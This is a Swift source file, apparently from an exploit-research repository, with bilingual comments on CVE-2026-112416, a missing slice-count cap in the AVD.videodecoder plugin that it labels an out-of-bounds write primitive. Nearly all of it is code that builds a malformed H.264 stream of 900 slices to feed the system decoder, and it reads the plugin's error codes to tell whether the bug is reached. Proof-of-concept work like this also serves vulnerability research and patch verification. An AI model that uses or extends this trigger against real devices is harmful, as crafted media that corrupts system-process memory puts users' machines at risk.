66 lines
3.0 KiB
Swift
66 lines
3.0 KiB
Swift
// vid.avc · AVD.videodecoder 插件（非 kext） · CVE-2026-112416
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// 原语: OOB 写 · 系统进程 · tier 2
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// Primitive: OOB write · system process · tier 2
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//
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// [zh] AVC 切片数量上限缺失
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// 该组三个 CVE 的修复载体均为进程内的 AVD.videodecoder 插件，而非 kext：112416 为切片数量上限（\"too many slices!\"），112415 为
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// MVHEVC 层 ID 校验，112454 为直方图 IOSurface 指针改为随机 cookie。
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//
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// [en] AVC slice count cap missing
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// The fix carrier for all three CVEs in this group is the in-process AVD.videodecoder plugin, not
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// a kext: 112416 is the slice count cap ("too many slices!"), 112415 is MVHEVC layer-id validation,
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// and 112454 replaces the histogram IOSurface pointer with a random cookie.
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// ── 判别 / oracle ──
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// 经 NAL 验证的单变量对照为 32 切片 → 900 切片。本模块构造 900 切片结构并交由 CMVideoFormatDescription / VTDecompressionSession，
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// 以插件自身错误码判定。
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import Foundation
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// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
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enum B {
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static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
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static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
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static func be32(_ v: UInt32) -> [UInt8] {
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[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
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}
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static func le32(_ v: UInt32) -> [UInt8] {
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[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
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}
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static func be64(_ v: UInt64) -> [UInt8] {
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(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
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}
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static func le64(_ v: UInt64) -> [UInt8] {
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(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
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}
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static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
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static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
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static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
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}
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// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ──
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enum VideoPayload {
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static func avcManySlices(sliceCount: Int = 900, width: Int = 64, height: Int = 64) -> Data {
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var out = Data()
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out.append(contentsOf: [0, 0, 0, 1])
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// SPS
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var sps: [UInt8] = [0x67, 0x42, 0x00, 0x1E]
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// exp-golomb: seq_parameter_set_id=0, log2_max_frame_num=0, poc_type=0, ...
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sps += [0xE8, 0x38, 0x00]
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// fake but structurally plausible; the decoder's own error tells us how far it got
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sps += [UInt8](repeating: 0x00, count: 8)
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out.append(contentsOf: sps)
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out.append(contentsOf: [0, 0, 0, 1])
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out.append(contentsOf: [0x68, 0xCE, 0x38, 0x80]) // PPS
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for i in 0..<sliceCount {
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out.append(contentsOf: [0, 0, 0, 1])
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let header: [UInt8] = [0x65, UInt8(0x88 | (i & 0x03)), 0x84, 0x00]
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out.append(contentsOf: header)
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out.append(contentsOf: [UInt8](repeating: 0x00, count: 4))
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}
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return out
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}
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}
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